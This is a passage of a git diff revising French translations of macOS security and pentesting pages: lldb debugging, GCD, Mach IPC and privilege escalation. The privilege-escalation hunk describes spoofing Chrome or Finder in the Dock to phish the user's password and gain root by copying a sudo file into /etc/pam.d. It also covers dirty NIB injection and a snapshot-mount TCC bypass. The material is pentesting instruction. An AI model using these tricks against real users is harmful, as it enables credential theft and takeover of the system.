Cela affichera l'objet référencé par le paramètre
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Notez que la plupart des API ou méthodes Objective-C d'Apple retournent des objets, et doivent donc être affichées via la commande “print object” (po). Si po ne produit pas de sortie significative, utilisez x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Écrire AAAA à cette adresse memory write -f s $rip+0x11f+7 "AAAA" #Écrire AAAA à l'adresse
disassembly
dis #Désassembler la fonction actuelle
dis -n #Désassembler la fonction
dis -n -b #Désassembler la fonction dis -c 6 #Désassembler 6 lignes dis -c 0x100003764 -e 0x100003768 # D'un ajout à l'autre dis -p -c 4 # Commencer à l'adresse actuelle en désassemblant
parray
parray 3 (char **)$x1 # Vérifier le tableau de 3 composants dans le registre x1
image dump sections
Imprimer la carte de la mémoire du processus actuel
image dump symtab
image dump symtab CoreNLP #Obtenir l'adresse de tous les symboles de CoreNLP
> [!NOTE]
-> Lors de l'appel de la fonction **`objc_sendMsg`**, le registre **rsi** contient le **nom de la méthode** sous forme de chaîne terminée par un caractère nul (“C”). Pour imprimer le nom via lldb, faites :
+> Lors de l'appel de la fonction **`objc_sendMsg`**, le registre **rsi** contient le **nom de la méthode** sous forme de chaîne terminée par un null (“C”). Pour imprimer le nom via lldb, faites :
>
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
>
@@ -478,11 +478,11 @@ Dans ces cas, le dump de mémoire est généré selon `kern.corefile` sysctl et
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
-ReportCrash **analyse les processus en panne et enregistre un rapport de panne sur le disque**. Un rapport de panne contient des informations qui peuvent **aider un développeur à diagnostiquer** la cause d'une panne.\
-Pour les applications et autres processus **s'exécutant dans le contexte de lancement par utilisateur**, ReportCrash s'exécute en tant que LaunchAgent et enregistre les rapports de panne dans le `~/Library/Logs/DiagnosticReports/` de l'utilisateur.\
-Pour les démons, autres processus **s'exécutant dans le contexte de lancement système** et autres processus privilégiés, ReportCrash s'exécute en tant que LaunchDaemon et enregistre les rapports de panne dans le `/Library/Logs/DiagnosticReports` du système.
+ReportCrash **analyse les processus qui plantent et enregistre un rapport de plantage sur le disque**. Un rapport de plantage contient des informations qui peuvent **aider un développeur à diagnostiquer** la cause d'un plantage.\
+Pour les applications et autres processus **s'exécutant dans le contexte de lancement par utilisateur**, ReportCrash s'exécute en tant que LaunchAgent et enregistre les rapports de plantage dans le `~/Library/Logs/DiagnosticReports/` de l'utilisateur.\
+Pour les démons, autres processus **s'exécutant dans le contexte de lancement système** et autres processus privilégiés, ReportCrash s'exécute en tant que LaunchDaemon et enregistre les rapports de plantage dans le `/Library/Logs/DiagnosticReports` du système.
-Si vous êtes inquiet au sujet des rapports de panne **envoyés à Apple**, vous pouvez les désactiver. Sinon, les rapports de panne peuvent être utiles pour **comprendre comment un serveur a planté**.
+Si vous êtes inquiet au sujet des rapports de plantage **envoyés à Apple**, vous pouvez les désactiver. Sinon, les rapports de plantage peuvent être utiles pour **comprendre comment un serveur a planté**.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@@ -544,7 +544,7 @@ Fonctionne pour les outils CLI
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
-Il "**fonctionne simplement"** avec les outils GUI macOS. Notez que certaines applications macOS ont des exigences spécifiques comme des noms de fichiers uniques, la bonne extension, doivent lire les fichiers depuis le sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
+Il "**fonctionne simplement"** avec les outils GUI macOS. Notez que certaines applications macOS ont des exigences spécifiques comme des noms de fichiers uniques, la bonne extension, et doivent lire les fichiers depuis le sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Quelques exemples :
```bash
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
index 23de42292..6b82192c5 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
@@ -5,15 +5,15 @@
## Pare-feux
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html) : Il surveillera chaque connexion effectuée par chaque processus. Selon le mode (autoriser silencieusement les connexions, refuser silencieusement la connexion et alerter), il **vous montrera une alerte** chaque fois qu'une nouvelle connexion est établie. Il dispose également d'une très belle interface graphique pour voir toutes ces informations.
-- [**LuLu**](https://objective-see.org/products/lulu.html) : Pare-feu d'Objective-See. C'est un pare-feu de base qui vous alertera pour des connexions suspectes (il a une interface graphique mais elle n'est pas aussi élégante que celle de Little Snitch).
+- [**LuLu**](https://objective-see.org/products/lulu.html) : Pare-feu d'Objective-See. C'est un pare-feu de base qui vous alertera pour des connexions suspectes (il a une interface graphique mais elle n'est pas aussi sophistiquée que celle de Little Snitch).
## Détection de persistance
- [**KnockKnock**](https://objective-see.org/products/knockknock.html) : Application d'Objective-See qui recherchera à plusieurs endroits où **le malware pourrait persister** (c'est un outil ponctuel, pas un service de surveillance).
-- [**BlockBlock**](https://objective-see.org/products/blockblock.html) : Comme KnockKnock en surveillant les processus qui génèrent de la persistance.
+- [**BlockBlock**](https://objective-see.org/products/blockblock.html) : Comme KnockKnock, en surveillant les processus qui génèrent de la persistance.
## Détection de keyloggers
-- [**ReiKey**](https://objective-see.org/products/reikey.html) : Application d'Objective-See pour trouver des **keyloggers** qui installent des "event taps" de clavier
+- [**ReiKey**](https://objective-see.org/products/reikey.html) : Application d'Objective-See pour trouver des **keyloggers** qui installent des "event taps" de clavier.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
index 78ab2e7a7..473310db4 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
@@ -11,14 +11,14 @@
> [!TIP]
> En résumé, pour exécuter du code en **parallèle**, les processus peuvent envoyer des **blocs de code à GCD**, qui se chargera de leur exécution. Par conséquent, les processus ne créent pas de nouveaux threads ; **GCD exécute le code donné avec son propre pool de threads** (qui peut augmenter ou diminuer si nécessaire).
-Cela est très utile pour gérer l'exécution parallèle avec succès, réduisant considérablement le nombre de threads que les processus créent et optimisant l'exécution parallèle. Cela est idéal pour les tâches qui nécessitent un **grand parallélisme** (brute-forcing ?) ou pour les tâches qui ne devraient pas bloquer le thread principal : Par exemple, le thread principal sur iOS gère les interactions UI, donc toute autre fonctionnalité qui pourrait faire planter l'application (recherche, accès à un web, lecture d'un fichier...) est gérée de cette manière.
+Cela est très utile pour gérer l'exécution parallèle avec succès, réduisant considérablement le nombre de threads que les processus créent et optimisant l'exécution parallèle. C'est idéal pour les tâches qui nécessitent un **grand parallélisme** (brute-forcing ?) ou pour les tâches qui ne devraient pas bloquer le thread principal : Par exemple, le thread principal sur iOS gère les interactions UI, donc toute autre fonctionnalité qui pourrait faire planter l'application (recherche, accès à un web, lecture d'un fichier...) est gérée de cette manière.
### Blocs
Un bloc est une **section de code autonome** (comme une fonction avec des arguments retournant une valeur) et peut également spécifier des variables liées.\
Cependant, au niveau du compilateur, les blocs n'existent pas, ce sont des `os_object`s. Chacun de ces objets est formé par deux structures :
-- **littéral de bloc** :
+- **littéral de bloc** :
- Il commence par le champ **`isa`**, pointant vers la classe du bloc :
- `NSConcreteGlobalBlock` (blocs de `__DATA.__const`)
- `NSConcreteMallocBlock` (blocs dans le tas)
@@ -37,7 +37,7 @@ Cependant, au niveau du compilateur, les blocs n'existent pas, ce sont des `os_o
Une queue de dispatch est un objet nommé fournissant un ordre FIFO des blocs pour les exécutions.
-Les blocs sont mis dans des queues à exécuter, et celles-ci supportent 2 modes : `DISPATCH_QUEUE_SERIAL` et `DISPATCH_QUEUE_CONCURRENT`. Bien sûr, la **série** ne **présentera pas de problèmes de conditions de course** car un bloc ne sera pas exécuté tant que le précédent n'a pas terminé. Mais **l'autre type de queue pourrait en avoir**.
+Les blocs sont mis dans des queues à exécuter, et celles-ci supportent 2 modes : `DISPATCH_QUEUE_SERIAL` et `DISPATCH_QUEUE_CONCURRENT`. Bien sûr, la **série** n'aura pas de problèmes de condition de course car un bloc ne sera pas exécuté tant que le précédent n'est pas terminé. Mais **l'autre type de queue pourrait en avoir**.
Queues par défaut :
@@ -57,11 +57,11 @@ Queues par défaut :
- `.root.user-interactive-qos`: Priorité la plus élevée
- `.root.background-qos.overcommit`
-Remarquez que c'est le système qui décidera **quels threads gèrent quelles queues à chaque instant** (plusieurs threads peuvent travailler dans la même queue ou le même thread peut travailler dans différentes queues à un moment donné)
+Remarquez que c'est le système qui décide **quels threads gèrent quelles queues à chaque instant** (plusieurs threads peuvent travailler dans la même queue ou le même thread peut travailler dans différentes queues à un moment donné)
#### Attributs
-Lors de la création d'une queue avec **`dispatch_queue_create`**, le troisième argument est un `dispatch_queue_attr_t`, qui est généralement soit `DISPATCH_QUEUE_SERIAL` (qui est en fait NULL) soit `DISPATCH_QUEUE_CONCURRENT`, qui est un pointeur vers une structure `dispatch_queue_attr_t` permettant de contrôler certains paramètres de la queue.
+Lors de la création d'une queue avec **`dispatch_queue_create`**, le troisième argument est un `dispatch_queue_attr_t`, qui est généralement soit `DISPATCH_QUEUE_SERIAL` (qui est en fait NULL) ou `DISPATCH_QUEUE_CONCURRENT`, qui est un pointeur vers une structure `dispatch_queue_attr_t` permettant de contrôler certains paramètres de la queue.
### Objets de dispatch
@@ -100,7 +100,7 @@ struct BlockDescriptor *descriptor;
// captured variables go here
};
```
-Et voici un exemple d'utilisation du **parallélisme** avec **`dispatch_async`** :
+Et voici un exemple d'utilisation du **parallelism** avec **`dispatch_async`** :
```objectivec
#import
@@ -170,7 +170,7 @@ sleep(1) // Simulate a long-running task
```
## Frida
-Le script Frida suivant peut être utilisé pour **intercepter plusieurs fonctions `dispatch`** et extraire le nom de la file d'attente, la trace de retour et le bloc : [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
+Le script Frida suivant peut être utilisé pour **s'accrocher à plusieurs fonctions `dispatch`** et extraire le nom de la file d'attente, la trace de pile et le bloc : [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
```bash
frida -U -l libdispatch.js
@@ -210,8 +210,8 @@ Ghidra réécrira automatiquement tout :
-## Références
+## References
-- [**\*OS Internals, Volume I: User Mode. Par Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
+- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
index 06846110c..7a3279d93 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
@@ -4,7 +4,7 @@
## Escalade de privilèges TCC
-Si vous êtes venu ici à la recherche d'une escalade de privilèges TCC, allez à :
+Si vous êtes venu ici à la recherche de l'escalade de privilèges TCC, allez à :
{{#ref}}
macos-security-protections/macos-tcc/
@@ -12,7 +12,7 @@ macos-security-protections/macos-tcc/
## Privesc Linux
-Veuillez noter que **la plupart des astuces concernant l'escalade de privilèges affectant Linux/Unix affecteront également les machines MacOS**. Donc, consultez :
+Veuillez noter que **la plupart des astuces concernant l'escalade de privilèges affectant Linux/Unix affecteront également les machines MacOS**. Donc, voyez :
{{#ref}}
../../linux-hardening/privilege-escalation/
@@ -41,15 +41,15 @@ sudo ls
```
Notez qu'un utilisateur qui utilise le terminal aura très probablement **Homebrew installé**. Il est donc possible de détourner des binaires dans **`/opt/homebrew/bin`**.
-### Usurpation de Dock
+### Usurpation du Dock
En utilisant un peu de **ingénierie sociale**, vous pourriez **usurper par exemple Google Chrome** dans le dock et exécuter en réalité votre propre script :
{{#tabs}}
-{{#tab name="Chrome Impersonation"}}
+{{#tab name="Usurpation de Chrome"}}
Quelques suggestions :
-- Vérifiez dans le Dock s'il y a un Chrome, et dans ce cas **supprimez** cette entrée et **ajoutez** l'**entrée Chrome** **fausse** à la **même position** dans le tableau Dock.
+- Vérifiez dans le Dock s'il y a un Chrome, et dans ce cas, **supprimez** cette entrée et **ajoutez** l'**entrée Chrome** **fausse** à la **même position** dans le tableau du Dock.
```bash
#!/bin/sh
@@ -121,14 +121,14 @@ killall Dock
```
{{#endtab}}
-{{#tab name="Impersonation du Finder"}}
+{{#tab name="Impersonation de Finder"}}
Quelques suggestions :
-- Vous **ne pouvez pas retirer le Finder du Dock**, donc si vous allez l'ajouter au Dock, vous pourriez mettre le faux Finder juste à côté du vrai. Pour cela, vous devez **ajouter l'entrée du faux Finder au début du tableau Dock**.
+- Vous **ne pouvez pas retirer Finder du Dock**, donc si vous allez l'ajouter au Dock, vous pourriez mettre le faux Finder juste à côté du vrai. Pour cela, vous devez **ajouter l'entrée du faux Finder au début du tableau Dock**.
- Une autre option est de ne pas le placer dans le Dock et de simplement l'ouvrir, "Finder demandant à contrôler Finder" n'est pas si étrange.
-- Une autre option pour **escalader vers root sans demander** le mot de passe avec une horrible boîte, est de faire en sorte que le Finder demande vraiment le mot de passe pour effectuer une action privilégiée :
-- Demandez au Finder de copier dans **`/etc/pam.d`** un nouveau fichier **`sudo`** (L'invite demandant le mot de passe indiquera que "Finder veut copier sudo")
-- Demandez au Finder de copier un nouveau **Plugin d'Autorisation** (Vous pourriez contrôler le nom du fichier afin que l'invite demandant le mot de passe indique que "Finder veut copier Finder.bundle")
+- Une autre option pour **escalader vers root sans demander** le mot de passe avec une horrible boîte, est de faire en sorte que Finder demande vraiment le mot de passe pour effectuer une action privilégiée :
+- Demandez à Finder de copier dans **`/etc/pam.d`** un nouveau fichier **`sudo`** (L'invite demandant le mot de passe indiquera que "Finder veut copier sudo")
+- Demandez à Finder de copier un nouveau **Plugin d'Autorisation** (Vous pourriez contrôler le nom du fichier afin que l'invite demandant le mot de passe indique que "Finder veut copier Finder.bundle")
```bash
#!/bin/sh
@@ -206,7 +206,7 @@ killall Dock
### CVE-2020-9771 - contournement TCC de mount_apfs et élévation de privilèges
**Tout utilisateur** (même ceux sans privilèges) peut créer et monter un instantané de Time Machine et **accéder à TOUS les fichiers** de cet instantané.\
-Le **seul privilège** nécessaire est que l'application utilisée (comme `Terminal`) ait accès à **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), ce qui doit être accordé par un administrateur.
+Le **seul privilège** requis est que l'application utilisée (comme `Terminal`) ait accès à **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), ce qui doit être accordé par un administrateur.
```bash
# Create snapshot
tmutil localsnapshot
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
index f6902fa2c..b8aa1bd57 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
@@ -15,7 +15,7 @@ Le fichier Nib principal est référencé dans la valeur **`NSMainNibFile`** à
#### Création et configuration d'un fichier NIB
1. **Configuration initiale** :
-- Créez un nouveau fichier NIB à l'aide de XCode.
+- Créez un nouveau fichier NIB en utilisant XCode.
- Ajoutez un objet à l'interface, en définissant sa classe sur `NSAppleScript`.
- Configurez la propriété `source` initiale via les attributs d'exécution définis par l'utilisateur.
2. **Gadget d'exécution de code** :
@@ -52,7 +52,7 @@ display dialog theDialogText
### Autre exemple
-Dans le post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) vous pouvez trouver un tutoriel sur la façon de créer un dirty nib.
+Dans le post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) vous pouvez trouver un tutoriel sur la façon de créer un dirty nib.
### Aborder les contraintes de lancement
@@ -64,7 +64,7 @@ Dans le post [https://sector7.computest.nl/post/2024-04-bringing-process-injecti
Depuis macOS Sonoma, les modifications à l'intérieur des bundles d'applications sont restreintes. Cependant, les méthodes antérieures impliquaient :
1. Copier l'application dans un autre emplacement (par exemple, `/tmp/`).
-2. Renommer les répertoires au sein du bundle de l'application pour contourner les protections initiales.
+2. Renommer des répertoires au sein du bundle de l'application pour contourner les protections initiales.
3. Après avoir exécuté l'application pour s'enregistrer auprès de Gatekeeper, modifier le bundle de l'application (par exemple, remplacer MainMenu.nib par Dirty.nib).
4. Renommer les répertoires et relancer l'application pour exécuter le fichier NIB injecté.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
index ceef7762a..e4e483191 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Messagerie Mach via Ports
+## Mach messaging via Ports
-### Informations de base
+### Basic Information
Mach utilise des **tâches** comme la **plus petite unité** pour partager des ressources, et chaque tâche peut contenir **plusieurs threads**. Ces **tâches et threads sont mappés 1:1 aux processus et threads POSIX**.
@@ -16,11 +16,11 @@ Chaque processus a une **table IPC**, où il est possible de trouver les **ports
Un processus peut également envoyer un nom de port avec certains droits **à une tâche différente** et le noyau fera apparaître cette entrée dans la **table IPC de l'autre tâche**.
-### Droits de Port
+### Port Rights
Les droits de port, qui définissent quelles opérations une tâche peut effectuer, sont essentiels à cette communication. Les **droits de port** possibles sont ([définitions ici](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)) :
-- **Droit de réception**, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des queues MPSC (multiple-producer, single-consumer), ce qui signifie qu'il ne peut y avoir **qu'un seul droit de réception pour chaque port** dans tout le système (contrairement aux pipes, où plusieurs processus peuvent tous détenir des descripteurs de fichiers pour l'extrémité de lecture d'un pipe).
+- **Droit de réception**, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des queues MPSC (multiple-producer, single-consumer), ce qui signifie qu'il ne peut y avoir qu'un **droit de réception pour chaque port** dans tout le système (contrairement aux pipes, où plusieurs processus peuvent tous détenir des descripteurs de fichiers pour l'extrémité de lecture d'un pipe).
- Une **tâche avec le droit de réception** peut recevoir des messages et **créer des droits d'envoi**, lui permettant d'envoyer des messages. À l'origine, seule la **propre tâche a le droit de réception sur son port**.
- Si le propriétaire du droit de réception **meurt** ou le tue, le **droit d'envoi devient inutile (nom mort)**.
- **Droit d'envoi**, qui permet d'envoyer des messages au port.
@@ -33,44 +33,44 @@ Les droits de port, qui définissent quelles opérations une tâche peut effectu
**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche puisse dupliquer et donner le droit à une troisième tâche**. Cela, combiné avec un processus intermédiaire connu sous le nom de **serveur de démarrage**, permet une communication efficace entre les tâches.
-### Ports de Fichier
+### File Ports
-Les ports de fichier permettent d'encapsuler des descripteurs de fichiers dans des ports Mac (en utilisant des droits de port Mach). Il est possible de créer un `fileport` à partir d'un FD donné en utilisant `fileport_makeport` et de créer un FD à partir d'un fileport en utilisant `fileport_makefd`.
+Les ports de fichiers permettent d'encapsuler des descripteurs de fichiers dans des ports Mac (en utilisant des droits de port Mach). Il est possible de créer un `fileport` à partir d'un FD donné en utilisant `fileport_makeport` et de créer un FD à partir d'un fileport en utilisant `fileport_makefd`.
-### Établir une communication
+### Establishing a communication
Comme mentionné précédemment, il est possible d'envoyer des droits en utilisant des messages Mach, cependant, vous **ne pouvez pas envoyer un droit sans déjà avoir un droit** pour envoyer un message Mach. Alors, comment la première communication est-elle établie ?
Pour cela, le **serveur de démarrage** (**launchd** sur mac) est impliqué, car **tout le monde peut obtenir un droit d'ENVOI au serveur de démarrage**, il est possible de lui demander un droit pour envoyer un message à un autre processus :
-1. La tâche **A** crée un **nouveau port**, obtenant le **droit de RÉCEPTION** sur celui-ci.
-2. La tâche **A**, étant le titulaire du droit de RÉCEPTION, **génère un droit d'ENVOI pour le port**.
-3. La tâche **A** établit une **connexion** avec le **serveur de démarrage**, et **lui envoie le droit d'ENVOI** pour le port qu'elle a généré au début.
+1. La tâche **A** crée un **nouveau port**, obtenant le **droit de réception** sur celui-ci.
+2. La tâche **A**, étant le détenteur du droit de réception, **génère un droit d'envoi pour le port**.
+3. La tâche **A** établit une **connexion** avec le **serveur de démarrage**, et **lui envoie le droit d'envoi** pour le port qu'elle a généré au début.
- Rappelez-vous que tout le monde peut obtenir un droit d'ENVOI au serveur de démarrage.
4. La tâche A envoie un message `bootstrap_register` au serveur de démarrage pour **associer le port donné à un nom** comme `com.apple.taska`
-5. La tâche **B** interagit avec le **serveur de démarrage** pour exécuter une **recherche de démarrage pour le nom du service** (`bootstrap_lookup`). Ainsi, le serveur de démarrage peut répondre, la tâche B lui enverra un **droit d'ENVOI à un port qu'elle a précédemment créé** dans le message de recherche. Si la recherche est réussie, le **serveur duplique le droit d'ENVOI** reçu de la tâche A et **le transmet à la tâche B**.
+5. La tâche **B** interagit avec le **serveur de démarrage** pour exécuter une recherche de démarrage **lookup pour le nom du service** (`bootstrap_lookup`). Ainsi, le serveur de démarrage peut répondre, la tâche B lui enverra un **droit d'ENVOI à un port qu'elle a précédemment créé** dans le message de recherche. Si la recherche est réussie, le **serveur duplique le droit d'ENVOI** reçu de la tâche A et **le transmet à la tâche B**.
- Rappelez-vous que tout le monde peut obtenir un droit d'ENVOI au serveur de démarrage.
6. Avec ce droit d'ENVOI, **la tâche B** est capable d'**envoyer** un **message** **à la tâche A**.
-7. Pour une communication bidirectionnelle, la tâche **B** génère généralement un nouveau port avec un droit de **RÉCEPTION** et un droit d'**ENVOI**, et donne le **droit d'ENVOI à la tâche A** afin qu'elle puisse envoyer des messages à la TÂCHE B (communication bidirectionnelle).
+7. Pour une communication bidirectionnelle, la tâche **B** génère généralement un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** afin qu'elle puisse envoyer des messages à la tâche B (communication bidirectionnelle).
-Le serveur de démarrage **ne peut pas authentifier** le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **se faire passer pour n'importe quelle tâche système**, comme en revendiquant faussement un nom de service d'autorisation et en approuvant ensuite chaque demande.
+Le serveur de démarrage **ne peut pas authentifier** le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **imiter n'importe quelle tâche système**, comme revendiquer faussement un nom de service d'autorisation et ensuite approuver chaque demande.
-Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires **protégés par SIP** : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. Avec chaque nom de service, le **binaire associé est également stocké**. Le serveur de démarrage créera et détiendra un **droit de RÉCEPTION pour chacun de ces noms de service**.
+Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires **protégés par SIP** : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. Avec chaque nom de service, le **binaire associé est également stocké**. Le serveur de démarrage créera et détiendra un **droit de réception pour chacun de ces noms de service**.
Pour ces services prédéfinis, le **processus de recherche diffère légèrement**. Lorsqu'un nom de service est recherché, launchd démarre le service dynamiquement. Le nouveau flux de travail est le suivant :
-- La tâche **B** initie une **recherche de démarrage** pour un nom de service.
+- La tâche **B** initie une recherche de démarrage **lookup** pour un nom de service.
- **launchd** vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, **la démarre**.
-- La tâche **A** (le service) effectue un **enregistrement de démarrage** (`bootstrap_check_in()`). Ici, le **serveur de démarrage** crée un droit d'ENVOI, le conserve et **transfère le droit de RÉCEPTION à la tâche A**.
-- launchd duplique le **droit d'ENVOI et l'envoie à la tâche B**.
-- La tâche **B** génère un nouveau port avec un droit de **RÉCEPTION** et un droit d'**ENVOI**, et donne le **droit d'ENVOI à la tâche A** (le svc) afin qu'elle puisse envoyer des messages à la TÂCHE B (communication bidirectionnelle).
+- La tâche **A** (le service) effectue un **enregistrement de démarrage** (`bootstrap_check_in()`). Ici, le **serveur de démarrage** crée un droit d'envoi, le conserve et **transfère le droit de réception à la tâche A**.
+- launchd duplique le **droit d'envoi et l'envoie à la tâche B**.
+- La tâche **B** génère un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** (le svc) afin qu'elle puisse envoyer des messages à la tâche B (communication bidirectionnelle).
-Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non-système fonctionnent toujours comme décrit à l'origine, ce qui pourrait potentiellement permettre l'usurpation.
+Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non-système fonctionnent toujours comme décrit à l'origine, ce qui pourrait potentiellement permettre l'imitation.
> [!CAUTION]
-> Par conséquent, launchd ne doit jamais planter ou tout le système s'effondrera.
+> Par conséquent, launchd ne doit jamais planter ou tout le système plantera.
-### Un Message Mach
+### A Mach Message
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
@@ -85,17 +85,17 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
-Les processus possédant un _**droit de réception**_ peuvent recevoir des messages sur un port Mach. Inversement, les **expéditeurs** se voient accorder un _**droit d'envoi**_ ou un _**droit d'envoi-une-fois**_. Le droit d'envoi-une-fois est exclusivement destiné à l'envoi d'un seul message, après quoi il devient invalide.
+Les processus possédant un _**droit de réception**_ peuvent recevoir des messages sur un port Mach. Inversement, les **expéditeurs** se voient accorder un _**droit d'envoi**_ ou un _**droit d'envoi-unique**_. Le droit d'envoi-unique est exclusivement destiné à l'envoi d'un seul message, après quoi il devient invalide.
Le champ initial **`msgh_bits`** est un bitmap :
- Le premier bit (le plus significatif) est utilisé pour indiquer qu'un message est complexe (plus d'informations ci-dessous)
- Les 3ème et 4ème bits sont utilisés par le noyau
-- Les **5 bits les moins significatifs du 2ème octet** peuvent être utilisés pour **voucher** : un autre type de port pour envoyer des combinaisons clé/valeur.
-- Les **5 bits les moins significatifs du 3ème octet** peuvent être utilisés pour **port local**
-- Les **5 bits les moins significatifs du 4ème octet** peuvent être utilisés pour **port distant**
+- Les **5 bits les moins significatifs du 2ème octet** peuvent être utilisés pour le **voucher** : un autre type de port pour envoyer des combinaisons clé/valeur.
+- Les **5 bits les moins significatifs du 3ème octet** peuvent être utilisés pour le **port local**
+- Les **5 bits les moins significatifs du 4ème octet** peuvent être utilisés pour le **port distant**
-Les types qui peuvent être spécifiés dans le voucher, les ports locaux et distants sont (à partir de [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)) :
+Les types qui peuvent être spécifiés dans le voucher, les ports local et distant sont (de [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
```c
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
@@ -170,9 +170,9 @@ Notez que les ports sont associés à l'espace de noms de la tâche, donc pour c
- `mach_port_allocate`: Allouer un nouveau RECEIVE, PORT_SET ou DEAD_NAME
- `mach_port_insert_right`: Créer un nouveau droit dans un port où vous avez RECEIVE
- `mach_port_...`
-- **`mach_msg`** | **`mach_msg_overwrite`**: Fonctions utilisées pour **envoyer et recevoir des messages mach**. La version overwrite permet de spécifier un tampon différent pour la réception des messages (l'autre version se contentera de le réutiliser).
+- **`mach_msg`** | **`mach_msg_overwrite`**: Fonctions utilisées pour **envoyer et recevoir des messages mach**. La version de remplacement permet de spécifier un tampon différent pour la réception des messages (l'autre version se contentera de le réutiliser).
-### Debug mach_msg
+### Déboguer mach_msg
Comme les fonctions **`mach_msg`** et **`mach_msg_overwrite`** sont celles utilisées pour envoyer et recevoir des messages, définir un point d'arrêt sur elles permettrait d'inspecter les messages envoyés et reçus.
@@ -186,10 +186,10 @@ Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
--> 0x181d3ac20 <+0>: pacibsp
-0x181d3ac24 <+4>: sub sp, sp, #0x20
-0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
-0x181d3ac2c <+12>: add x29, sp, #0x10
+-> 0x181d3ac20 <+0>: pacibsp
